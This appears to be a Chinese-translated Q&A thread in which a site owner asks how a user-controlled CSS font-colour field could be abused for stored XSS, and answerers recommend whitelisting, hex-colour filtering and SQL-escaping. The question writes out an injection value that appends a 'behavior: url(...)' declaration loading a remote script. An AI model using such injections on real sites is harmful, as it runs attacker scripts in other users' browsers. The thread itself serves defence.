我有一个这样的表单用于登录用户到我的网站:
<form>
<input name="fontColor"><input type="submit">
</form>
这允许用户使用字体颜色自定义他们自己的页面(他们的页面对其他登录用户也是可见的)。这种字体颜色放入页面的方式是通过页面顶部的动态样式表构建,如下所示:
body { color: <fontColor>; }
假设用户为fontColor输入了这个:
default; behavior: url(http://www.myscript.com/script.htc)
然后CSS将导致
body {color: default;behavior: url(http://www.myscript.com/script.htc)}
这意味着用户“成员页面”会在页面上插入script.htc,因此访问该成员页面的其他成员将执行该脚本(从而导致对其他访问者的攻击)。
为防止出现这种情况,服务器将忽略输入“fontColor”字段的字符:;{}
。
在这种情况下,结果CSS将无效,只是不起作用。
body {color: defaultbehavior: url(http://www.myscript.com/script.htc)}
基本上我的问题归结为:
{};
字符的情况下插入脚本?{};
,是否有其他方法(除了在IE中有效的行为样式)可以将不需要的脚本插入到CSS中?我知道这里最好的解决方案是验证fontColor,这样用户就没有那么多的颜色自由,但出于学术目的,我仍然想尽可能多地了解可能发生的事情。
答案 0 :(得分:2)
XSS攻击实际上仅受到攻击者想象力的限制,所以我确保有一个严格的允许规则/模式的白名单。仅仅因为CSS规则无效并不一定意味着即使在url
或behavior
规则之外,所有浏览器也不会尝试通过background-image
包含其他文件。另一个可能的向量是expression
,即使它没有得到很好的支持。
我当然无法在此提出完整的列表,但重要的是要认识到XSS,对于任何向量都没有已知的限制,并且在没有您注意的情况下可以利用漏洞。从你想要的东西开始工作要好得多,而不是你想要否认的东西。
答案 1 :(得分:1)
除了CSS中的攻击外,还要考虑的另一件事是SQL注入攻击。由于我认为您将样式数据存储在数据库中,因此您需要担心该数据中的内容。使用mysqli::real_escape_string是准备存储数据的良好开端。
在这种情况下,由于您对颜色数据非常感兴趣,因此可以使用颜色选择器不仅可以使您的界面易于使用,还可以限制您希望接收的数据类型。攻击者可以轻松修改页面,让他们提交他们想要的任何内容,但是当你的工具生成时,严格过滤十六进制值要简单得多。